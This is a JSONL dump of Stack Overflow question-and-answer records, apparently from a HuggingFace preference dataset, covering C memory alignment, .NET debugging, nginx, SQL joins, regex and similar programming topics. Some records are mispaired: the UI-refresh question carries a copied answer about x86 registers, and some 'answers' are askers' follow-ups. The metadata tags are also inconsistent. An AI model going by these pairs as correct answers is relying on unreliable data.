alignment in C interview question that stumped me\n.  The revised title (\nHow to allocate aligned memory only using the standard library?\n) demands a slightly revised answer — this addendum provides it.\nC11 (ISO/IEC 9899:2011) added function\n```\naligned_alloc()\n```\n:\n7.22.3.1 The\n```\naligned_alloc\n```\nfunction\nSynopsis\n```\n```\n#include <stdlib.h>\nvoid *aligned_alloc(size_t alignment, size_t size);\n```\n```\nDescription\nThe\n```\naligned_alloc\n```\nfunction allocates space for an object whose alignment is\n  specified by\n```\nalignment\n```\n, whose size is specified by\n```\nsize\n```\n, and whose value is\n  indeterminate. The value of\n```\nalignment\n```\nshall be a valid alignment supported by the implementation and the value of\n```\nsize\n```\nshall be an integral multiple of\n```\nalignment\n```\n.\nReturns\nThe\n```\naligned_alloc\n```\nfunction returns either a null pointer or a pointer to the allocated space.\nAnd POSIX defines\n```\nposix_memalign()\n```\n:\n```\n```\n#include <stdlib.h>\n\nint posix_memalign(void **memptr, size_t alignment, size_t size);\n```\n```\nDESCRIPTION\nThe\n```\nposix_memalign()\n```\nfunction shall allocate\n```\nsize\n```\nbytes aligned on a boundary specified by\n```\nalignment\n```\n, and shall return a pointer to the allocated memory in\n```\nmemptr\n```\n. The value of\n```\nalignment\n```\nshall be a power of two multiple of\n```\nsizeof(void *)\n```\n.\nUpon successful completion, the value pointed to by\n```\nmemptr\n```\nshall be a multiple of\n```\nalignment\n```\n.\nIf the size of the space requested is 0, the behavior is implementation-defined; the value returned in\n```\nmemptr\n```\nshall be either a null pointer or a unique pointer.\nThe\n```\nfree()\n```\nfunction shall deallocate memory that has previously been allocated by\n```\nposix_memalign()\n```\n.\nRETURN VALUE\nUpon successful completion,\n```\nposix_memalign()\n```\nshall return zero; otherwise, an error number shall be returned to indicate the error.\nEither or both of these could be used to answer the question now, but only the POSIX function was an option when the question was originally answered.\nBehind the scenes, the new aligned memory function do much the same job as outlined in the question, except they have the ability to force the alignment more easily, and keep track of the start of the aligned memory internally so that the code doesn't have to deal with specially — it just frees the memory returned by the allocation function that was used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.309147"}
{"id": "hf_7785f10880d8", "question": "<p>I could use some advice on tracking down the cause of memory leaks in C#. I understand what is a memory leak and I get why they occur in C# but I'm wondering what tools/strategies have you used in the past to resolve them?</p>\n\n<p>I am using .NET Memory Profiler and I've found that one of my huge main objects is staying in memory after I close the window it manages but I'm not sure what to do to severe all links to it.</p>\n\n<p>If I'm not being clear enough just post an answer with a question and I'll edit my question in response. Thanks!</p>\n", "question_body": "", "answer": "Break into the debugger and then type this into the Immediate window:\n```\n```\n.load C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sos.dll\n```\n```\nThe path to sos.dll varies. The way to find out the correct path is to look for mscorwks.dll in the Modules pane. Wherever that is loaded from is the correct path for sos.dll.\nThen type this:\n```\n```\nSystem.GC.Collect()\n```\n```\nThat will ensure anything not reachable is collected. Then type this:\n```\n```\n!DumpHeap -type <some-type-name>\n```\n```\nThis will show you a table of all existing instances, with addresses. You can find out what is keeping an instance alive like this:\n```\n```\n!gcroot <some-address>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.361236"}
{"id": "hf_48183b2ed085", "question": "<p>I'm building an open source project that uses python and c++ in Windows.\nI came to the following error message:</p>\n\n<pre><code> ImportError: No module named win32con \n</code></pre>\n\n<p>The same happened in a \"prebuilt\" code that it's working ( except in my computer :P ) </p>\n\n<p>I think this is kind of \"popular\" module in python because I've saw several messages in other forums but none that could help me.</p>\n\n<p>I have Python2.6, should I have that module already installed?\nIs that something of VC++?</p>\n\n<p>Thank you for the help.</p>\n\n<p>I got this url <a href=\"http://sourceforge.net/projects/pywin32/\" rel=\"noreferrer\">http://sourceforge.net/projects/pywin32/</a>  but I'm not sure what to do with the executable :S</p>\n", "question_body": "", "answer": "This module contains constants related to Win32 programming.  It is not part of the Python 2.6 release, but should be part of the download of the pywin32 project.\nEdit:\nI imagine that the executable is an installation program, though the last time I downloaded pywin32 it was just a zip file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.419973"}
{"id": "hf_6505af2c44f1", "question": "<p>In response to a rightMouse event I want to call a function that displays a context menu, runs it, and responds to the selected menu item.  In Windows I can use TrackPopupMenu with the TPM_RETURNCMD flag.</p>\n\n<p>What is the easiest way to implement this in Cocoa?  It seems NSMenu:popUpContextMenu wants to post an event to the specified NSView.  Must I create a dummy view and wait for the event before returning?  If so, how do I \"wait\" or flush events given I am not returning to my main ?</p>\n", "question_body": "", "answer": "The 'proper' way to do this in Cocoa is to have your menu item's target and action perform the required method. However, if you must do it within your initial call, you can use\n```\n[NSView nextEventMatchingMask:]\n```\nto continually fetch new events that interest you, handle them, and loop. Here's an example which just waits until the right mouse button is released. You'll probably want to use a more complex mask argument, and continually call\n```\n[NSView nextEventMatchingMask:]\n```\nuntil you get what you want.\n```\n```\nNSEvent *localEvent = [[self window] nextEventMatchingMask: NSRightMouseUpMask];\n```\n```\nI think you'll find the 'proper' way to go much easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.441229"}
{"id": "hf_c905eca71ff1", "question": "<p>We're using HAProxy as a load balancer at the moment, and it regularly makes requests to the downstream boxes to make sure they're alive using an OPTIONS request:</p>\n\n<blockquote>\n  <p>OPTIONS /index.html HTTP/1.0</p>\n</blockquote>\n\n<p>I'm working with getting nginx set up as a reverse proxy with caching (using ncache).  For some reason, nginx is returning a 405 when an OPTIONS request comes in:</p>\n\n<blockquote>\n  <p>192.168.1.10 - - [22/Oct/2008:16:36:21 -0700] \"OPTIONS /index.html HTTP/1.0\" 405 325 \"-\" \"-\" 192.168.1.10</p>\n</blockquote>\n\n<p>When hitting the downstream webserver directly, I get a proper 200 response.  My question is: how to you make nginx pass that response along to HAProxy, or, how can I set the response in the nginx.conf?</p>\n", "question_body": "", "answer": "In the httpchk option, you can specify the HTTP method like this:\n```\n```\nhttpchk GET http://example.com/check.php\n```\n```\nYou can also use POST, or a plain URI like /. I have it check PHP, since PHP runs external to Nginx.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.464352"}
{"id": "hf_a2e3c5a5b7e9", "question": "<p>I've got an application that needs quite a bit of data (1000s of records) to do appropriate testing.  The only way I've found to get a decent set of testable, sensible data is to use a <strong>subset of my production DB</strong>.  I've converted this to YAML fixtures in the normal `test/fixtures' location.</p>\n\n<p>This works, but now I have a bunch of seemingly brittle tests and assertions that depend on their being a particular number of records that meet condition X...</p>\n\n<p>example</p>\n\n<pre><code>def test_children_association\n  p = Parent.find(1)\n  assert_equal 18, p.children.count, \"Parent.children isn't providing the right records\"\nend\n</code></pre>\n\n<p>This doesn't seem like a good idea to me, but <strong>I'm not sure if there is a better / accepted  way</strong> to test an application that needs a large hierarchy of data.</p>\n", "question_body": "", "answer": "The first thing I'd say is: what are you testing in that example? If it's an ordinary AR has_many association, then I wouldn't bother writing a test for it. All you're doing is testing that AR works.\nA better example might be if you had a very complicated query or if there was other processing involved in getting the list of children records. When you get them back, rather than testing for a count you could iterate through the returned list and verify that the children match the criteria you're using.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.509007"}
{"id": "hf_a477d8d83829", "question": "<p>I have a JSP page that will display the exact content of another web page on a different server. My understanding was that c:import  from the JSTL should be able to include content from files that are not part of the current web application.</p>\n\n<p>I added c:import url=\"page on my server in a different application\" and it works fine, but when I try to include a page from another server it fails.</p>\n\n<p>Any suggestions as to what might be wrong?</p>\n\n<p><strong>EDIT:</strong> The exact error is: \"The server encountered an internal error () that prevented it from fulfilling this request.\". However, requesting a page from the same server, different app works...I get the content of the page.</p>\n", "question_body": "", "answer": "An exact code and how \"it fails\" would be a great help. All mind-readers are currently on vacation.\nMeanwhile, take a look at\nhttp://www.ibm.com/developerworks/java/library/j-jsp06173.html\n```\n```\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jstl/core\" %>\n...\n<c:import \n  url=\"http://www.truenorthguitars.com/Clients/Richman/index.htm\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.555050"}
{"id": "hf_4cecef35ac54", "question": "<p>How do you insert/update a column through Linq To SQL and Linq To SQL use the default values?  In particular I'm concerned with a timestamp field.</p>\n\n<p>I've tried setting that column to readonly and autogenerated, so it stopped trying to put in DateTime.MinValue, but it doesn't seem to be updating on updates.</p>\n", "question_body": "", "answer": "The database default value would only insert the value on creating the row.  It would do nothing for update, unless you want to add a triggger.\nAlternately, you can add a partial method to your DataContext class.  Add a new file you your project:\n```\n```\npublic partial class YourDatabaseDataContext\n{\n    partial void InsertYourTable(YourTable instance)\n    {\n        instance.LastUpdateTime = DateTime.Now;\n\n        this.ExecuteDynamicInsert(instance);\n    }\n\n    partial void UpdateYourTable(YourTable instance)\n    {\n        instance.LastUpdateTime = DateTime.Now;\n\n        this.ExecuteDynamicUpdate(instance);\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.648021"}
{"id": "hf_8d41def1176e", "question": "<p>I've just had to write a string reverse function in C# 2.0 (i.e. LINQ not available) and came up with this:</p>\n\n<pre><code>public string Reverse(string text)\n{\n    char[] cArray = text.ToCharArray();\n    string reverse = String.Empty;\n    for (int i = cArray.Length - 1; i &gt; -1; i--)\n    {\n        reverse += cArray[i];\n    }\n    return reverse;\n}\n</code></pre>\n\n<p>Personally I'm not crazy about the function and am convinced that there's a better way to do it. Is there?</p>\n", "question_body": "", "answer": "Have a look at the wikipedia entry\nhere\n. They implement the String.Reverse extension method. This allows you to write code like this:\n```\n```\nstring s = \"olleh\";\ns.Reverse();\n```\n```\nThey also use the ToCharArray/Reverse combination that other answers to this question suggest. The source code looks like this:\n```\n```\npublic static string Reverse(this string input)\n{\n    char[] chars = input.ToCharArray();\n    Array.Reverse(chars);\n    return new String(chars);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.683641"}
{"id": "hf_4c21ded7deef", "question": "<p>I am after a regular expression that validates a percentage from 0 100 and allows two decimal places. </p>\n\n<p>Does anyone know how to do this or know of good web site that has example of common regular expressions used for client side validation in javascript?</p>\n\n<p>@Tom - Thanks for the questions. Ideally there would be no leading 0's or other trailing characters.</p>\n\n<p>Thanks to all those who have replied so far. I have found the comments really interesting.</p>\n", "question_body": "", "answer": "```\n(100|[0-9]{1,2})(\\.[0-9]{1,2})?\n```\nThat should be the regex you want. I suggest you to read Mastering Regular Expression and download RegexBuddy or The Regex Coach.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.806763"}
{"id": "hf_dc027dd96573", "question": "<p>I am progamatically creating a SharePoint site using </p>\n\n<pre><code>SPWeb spWeb = spSite.AllWebs.Add(...);\n</code></pre>\n\n<p>What code do I need run to set the spWeb to turn off the \"Show pages in navigation\" option?</p>\n\n<p><strong>Answer:</strong></p>\n\n<pre><code>publishingWeb.IncludePagesInNavigation = false;\n</code></pre>\n", "question_body": "", "answer": "Wasn't sure myself but I was able to locate\nthis\n:\nModifying navigation is another common\n  branding task since it affects what\n  users can see and how they can proceed\n  through a site hierarchy. The\n  Microsoft.SharePoint.Publishing\n  namespace exposes several classes that\n  target the Publishing site\n  infrastructure, such as PublishingWeb\n  and PublishingPage. Using these\n  classes, we can easily modify\n  navigation for each site. If you want\n  a child Web to display as a root level\n  site in global navigation, first turn\n  off inheritance from the parent site,\n  like so:\n```\n```\npublishingWeb.InheritGlobalNavigation = false;\n```\n```\nYou might also want to hide all site\n  pages from global navigation. Setting\n  IncludePagesInNavigation to false\n  hides all pages in the site,\n  regardless of whether the\n  PublishingPage.IncludeInGlobalNavigation\n  property is set to true\n```\n```\n// do not show pages in navigation\npublishingWeb.IncludePagesInNavigation = false;\n```\n```\nIf you are dealing with default sites\n  that don't inherit from PublishingWeb,\n  it's still possible to hide these\n  sites from the global navigation bar.\n  For example, if you create a site\n  collection using the collaboration\n  portal template and want to exclude\n  the News site from global navigation,\n  add that site to the\n  __GlobalNavigationExcludes property of the site:\n```\n```\nstring globalNavExcludes = String.Empty;\nSPWeb webSite = MSDNSiteCollection.RootWeb;\n// _GlobalNavigationExcludes property contains a delimited string of \n// GUIDs identifying the Id of each site to be excluded from global\n// navigation\n\nif (webSite.AllProperties.ContainsKey(\"__GlobalNavigationExcludes\")) {\n  globalNavExcludes = \n    webSite.AllProperties[\"__GlobalNavigationExcludes\"].ToString();\n}\n\nSPWeb newsSite = MSDNSiteCollection.AllWebs[\"News\"];\n// string is delimited \"{GUID};{GUID};\",\n// use format code B to convert to string\nglobalNavExcludes += String.Concat(currentWeb.ID.ToString(\"B\"), \";\");\n\nwebSite.AllProperties[\"__GlobalNavigationExcludes\"] = globalNavExcludes;\nwebSite.Update();\n```\n```\nAdding navigation nodes directly to an\n  SPNavigationNodeCollection is a good\n  way to display only the nodes you want\n  as well as to group nodes and links to\n  external sites. Figure 10 shows how to\n  add an internal link, external link,\n  and a heading to the global navigation\n  bar. This example addresses some of\n  the properties of the SPNavigation\n  class that affect whether the link\n  opens in a new window and how to\n  handle empty URLs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.854068"}
{"id": "hf_a0a0e10e8467", "question": "<p>When using SubSonic, do you return the data as a dataset or do you put that in a strongly typed custom collection or a generic object?</p>\n\n<p>I ran through the subsonic project and for the four stored procs I have in my DB, it gave me a Sps.cs with 4 methods which return a StoredProcedure object.</p>\n\n<p>If you used a MVC, do you usually use the StoredProcedure object or wrap that around your business logic and return a dataset, list, collection or something else?</p>\n\n<p>Are datasets still the norm or is that replaced by something else?</p>\n", "question_body": "", "answer": "If the results of the stored procedure has the same schema as one of your tables, you can build a collection using this code (SubSonic 2.1):\n```\n```\nProductCollection coll = new ProductCollection();\ncoll.LoadAndCloseReader(SPs.GetProducts(1).GetReader());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.901270"}
{"id": "hf_32d9bed26dcd", "question": "<p><code>%AX = (%AH + %AL)</code></p>\n\n<p>So why not <code>%EAX = (%SOME_REGISTER + %AX)</code> for some register <code>%SOME_REGISTER</code>? </p>\n", "question_body": "", "answer": "In the old 8-bit days, there was the A register.\nIn the 16-bit days, there was the 16 bit AX register, which was split into two 8 bit parts, AH and AL, for those times when you still wanted to work with 8 bit values.\nIn the 32-bit days, the 32 bit EAX register was introduced, but the AX, AH, and AL registers were all kept. The designers did not feel it necessary to introduce a new 16 bit register that addressed bits 16 through 31 of EAX.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.923727"}
{"id": "hf_2e0361d527a8", "question": "<p>How do you handle update refresh rate from your worker function to your UI ?</p>\n\n<p>Sending everything to the UI or maybe using a timer (from which side ? worker or UI ?)</p>\n", "question_body": "", "answer": "In the old 8-bit days, there was the A register.\nIn the 16-bit days, there was the 16 bit AX register, which was split into two 8 bit parts, AH and AL, for those times when you still wanted to work with 8 bit values.\nIn the 32-bit days, the 32 bit EAX register was introduced, but the AX, AH, and AL registers were all kept. The designers did not feel it necessary to introduce a new 16 bit register that addressed bits 16 through 31 of EAX.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.946805"}
{"id": "hf_afe011e892bd", "question": "<p>Let's say we have 2 php variables:</p>\n\n<ul>\n<li><strong>$name</strong> = 'caption';</li>\n<li><strong>$url</strong> = '<a href=\"http://domain.com/photo.jpg\" rel=\"nofollow noreferrer\">http://domain.com/photo.jpg</a>';</li>\n</ul>\n\n<p>The input string of <code>'{@url,&lt;img src=\",\" alt=\"{@name}\" /&gt;}'</code> should return:</p>\n\n<p><code>'&lt;img src=\"http://domain.com/photo.jpg\" alt=\"caption\" /&gt;'</code></p>\n\n<p>The <code>{tag}</code> takes up to 3 parameters: <code>{@variable[,text_before][,text_after]}</code>.</p>\n\n<p>What regex would be needed to make this happen? The tricky part is that a <code>{@..}</code> tag is nested within another.</p>\n", "question_body": "", "answer": "It's for a CMS. Admins can add column fields, then add template code for how it will be displayed on the listing page. The {@tags} are used to output the dynamic column values. This template code:\n```\n<p>Link: <a href=\"{@url}\">{@name}</a> - {@date}</p>\n```\nwould create a listing page like:\nLink:\nlink one\n- 2 July 2008\nLink:\nlink two\n- 14 June 2008\nLink:\nlink three\n- 9 February 2007\n...\nI figured that people might want to use column values within others, hence the \"alt\" tag example from the first post. So using regex for this would be a bad idea?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.981031"}
{"id": "hf_dc465d31803e", "question": "<p><a href=\"http://blogs.msdn.com/drnick/archive/2007/03/23/preventing-anonymous-access.aspx\" rel=\"noreferrer\">http://blogs.msdn.com/drnick/archive/2007/03/23/preventing-anonymous-access.aspx</a> </p>\n\n<p>Can someone clarify whether it is possible to use wsHttpBinding in WCF and disable anonymous access in IIS without transport (ssl) or message security being required?</p>\n", "question_body": "", "answer": "we want to use windows integrated security. If you disable anonymous access in IIS and allow just windows, you cannot seem to use wsHttpBinding with WCF without using some security mode (e.g. transprot security which requires ssl).\nWe only want to use windows authentication we don't necessarily want to use ssl for transport security.\nI was a little amazed this wasn't possible out of the box (as seemed to be confirmed by my link) as it would seem quite a common scenario for intern applications.\nWe don't want to downgrade to basicHttpBinding which would support windows authentication only.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.081182"}
{"id": "hf_d5f11799f8de", "question": "<p>The large network (of small world graph type) I wish to deal with is dynamic in nature, new nodes are added and subtracted frequently. Presumably using D* over A* would be a better way to detect paths in this dynamic environment?</p>\n\n<p>How solid is D*? has it had any real world experience? like a cryptographic algorithm - is  D* hardened by lots of peer review and testing? Would you use D* for this problem?</p>\n", "question_body": "", "answer": "As I understand, the first time you run D* it finds the same path as A* with nearly the same runtime.  However, when a node changes it's edge value or nodes are added A* recomputes ALL of the path while D* simply recomputes the inconsistent nodes the second time around rather than the whole thing.\nAnthony Stentz's D* algorithm (original whitepaper\nhere\n) has largely been deprecated by derivatives of his work.  D* Lite and LPA* are the most commonly found and are much easier to code/implement.\nAs far as real world experience,  Joseph Carsten and Art Rankin from NASA's Jet Propulsion Laboratory installed a version of Field D* using elements of D* Lite on the mars rovers \"Spirit\" and \"Opportunity\" (slideshow of rovers using D*\nhere\n).  In Feburary 2007 it was used to fully navigate the mars rover autonomously.\nalt text http://asm.arc.nasa.gov/Gallery/images/generic/rover.jpg\nApparently D* is really useful in the robotics domain because the robots on-board sensors are constantly re-evaluating edge values.  That would make it pretty \"battle tested\" in my own opinion.\nSimilarly, I found another\nwhitepaper\nthat mentions the use of the D* Lite algorithm in Mobile Gaming.\nI'll end this answer by stating that I've never implemented D* before, only A*.  Because of the significant increase in complexity I would say that D* (or D* Lite) should only be used in cases where there is a significant and frequent changes in the graph.  You described your situation as being similar to that so I would say definately go for D* Lite.  If NASA uses it you could safely bet it has been thoroughly investigated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.105160"}
{"id": "hf_7356d51cf62b", "question": "<p>I want to read all thumbnails from a folder with images in Windows XP.\nBut if I read image file to get thumbnail, it seems a bit slow, so I wish I can first read the windows image thumbnail cache:thumb.db.\nIs there any lib in c++ or c to read thumbnails from thumb.db.</p>\n", "question_body": "", "answer": "The Thumbs.db file is stored in OLE\nCompound Document\nformat, the same format that many Microsoft Office products use.\nYou could also try to look into\nThumbsDBLib\n.  It is in C# but you can probably see what they do to read the data and convert it to C++.\nNote: Windows Vista and later doesn't use Thumbs.db.  See the\nIThumbnailCache interface\nfor Vista and later.\nFor Vista and later they are stored here: %homedrive%\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\Explorer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.174094"}
{"id": "hf_29f4225bffb6", "question": "<p>I am using a navigation controller, and I have the style set to :</p>\n\n<pre><code>navController.navigationBar.barStyle = UIBarStyleBlackTranslucent;\n</code></pre>\n\n<p>But when I run my program, the navigation controller looks like it is on top of a white background, not my background. When I push a controller, left or right, all my view, the current one, shifts to the top exactly the size of the navigation bar. And it is there where I can see my background through the navigation controller bar. Any ideas? When my barStyle is  set to opaque, everything looks fine. I was thinking on setting my view frame a negative 'y' value, but I think there should a more elegant way.</p>\n", "question_body": "", "answer": "I believe the UINavigationController assumes that your controller view frames don't include the area beneath the navigation bar.\nUIBarStyleBlackTranslucent is more often used for UIToolbar, so Apple probably didn't make it easy to use it nicely with UINavigationBar. You'll probably need to abandon the UINavigationController, or start hacking the frames (careful with rotations), if you want to reliably render under the bar area.\nAlso, if your intention is to hide the navigation bar after a few seconds, you'll have a\nmuch\neasier time if you make it fade out (like the Photos app) instead of trying to slide it up (like Mobile Safari). Trust me on that one... that took me a\nlot\nof time to learn the hard way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.208739"}
{"id": "hf_4e123a50c092", "question": "<p>On an embedded target I use far pointers to access some parts of the memory map. </p>\n\n<p>near pointer (without explicitely specifying __near):</p>\n\n<pre>unsigned int *VariableOnePtr;</pre>\n\n<p>Pointer to near pointer: <pre>unsigned int **VariableOnePtrPtr;</pre></p>\n\n<p>far pointer: <pre>unsigned int *__far VariableTwoPtr;</pre> </p>\n\n<p>What is the correct way to declare a pointer to a far pointer? Does this pointer have to be a far pointer itself?</p>\n", "question_body": "", "answer": "I believe you would do this:\n```\n```\nunsigned int * __far *VariableThreePtrPtr;\n```\n```\nA far pointer to a far pointer would be:\n```\n```\nunsigned int * __far * __far VariableFourPtrPtr;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.231779"}
{"id": "hf_cc60c02e0bc8", "question": "<p>A lambda expression which takes a function (of one argument) and a number, and applies the function to twice the number.</p>\n", "question_body": "", "answer": "Applying the function to twice the number:\n```\n```\n(lambda (f x) (f (* 2 x)))\n```\n```\nApplying the function to the number twice (which is what you may have intended to ask):\n```\n```\n(lambda (f x) (f (f x)))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.255545"}
{"id": "hf_08e0b57b6e27", "question": "<p>Why do computers use RGB (red, <em>green</em>, and blue) values for color composition rather than the primary hues, red, <em>yellow</em>, and blue?</p>\n", "question_body": "", "answer": "The hues of magenta, yellow, and cyan are primary for subtractive combination (e.g. paints or inks) rather than additive combination such as light where red, green, and blue are primary.\nWikipedia has more detail on the whys and wherefores\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.327636"}
{"id": "hf_bcd19c843b13", "question": "<p>I have the following query:</p>\n\n<pre><code>SELECT c.*\nFROM companies AS c\nJOIN users AS u USING(companyid)\nJOIN jobs AS j USING(userid)\nJOIN useraccounts AS us USING(userid)\nWHERE j.jobid = 123;\n</code></pre>\n\n<p>I have the following questions:</p>\n\n<ol>\n<li>Is the USING syntax synonymous with ON syntax?</li>\n<li>Are these joins evaluated left to right?  In other words, does this query say: x = companies JOIN users; y = x JOIN jobs; z = y JOIN useraccounts;</li>\n<li>If the answer to question 2 is yes, is it safe to assume that the companies table has companyid, userid and jobid columns?</li>\n<li>I don't understand how the WHERE clause can be used to pick rows on the companies table when it is referring to the alias \"j\"</li>\n</ol>\n\n<p>Any help would be appreciated!</p>\n", "question_body": "", "answer": "SEE\nhttp://dev.mysql.com/doc/refman/5.0/en/join.html\nAND start reading here:\nJoin Processing Changes in MySQL 5.0.12\nBeginning with MySQL 5.0.12, natural joins and joins with USING, including outer join variants, are processed according to the SQL:2003 standard. The goal was to align the syntax and semantics of MySQL with respect to NATURAL JOIN and JOIN ... USING according to SQL:2003. However, these changes in join processing can result in different output columns for some joins. Also, some queries that appeared to work correctly in older versions must be rewritten to comply with the standard.\nThese changes have five main aspects:\nThe way that MySQL determines the result columns of NATURAL or USING join operations (and thus the result of the entire FROM clause).\nExpansion of SELECT * and SELECT tbl_name.* into a list of selected columns.\nResolution of column names in NATURAL or USING joins.\nTransformation of NATURAL or USING joins into JOIN ... ON.\nResolution of column names in the ON condition of a JOIN ... ON.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.363889"}
{"id": "hf_98f3a7f00261", "question": "<p>I am working on rails project and I am trying to get exceptions to be logged to the rails log files.  I know I can call <code>logger.error $!</code> to get the first line of the exception logged to the file.  But, I want to get the entire trace stack logged as well.  How do I log the entire trace back of an exception using the default rails logger?</p>\n", "question_body": "", "answer": "```\nlogger.error caller.join(\"\\n\")\n```\nshould do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:52.399449"}
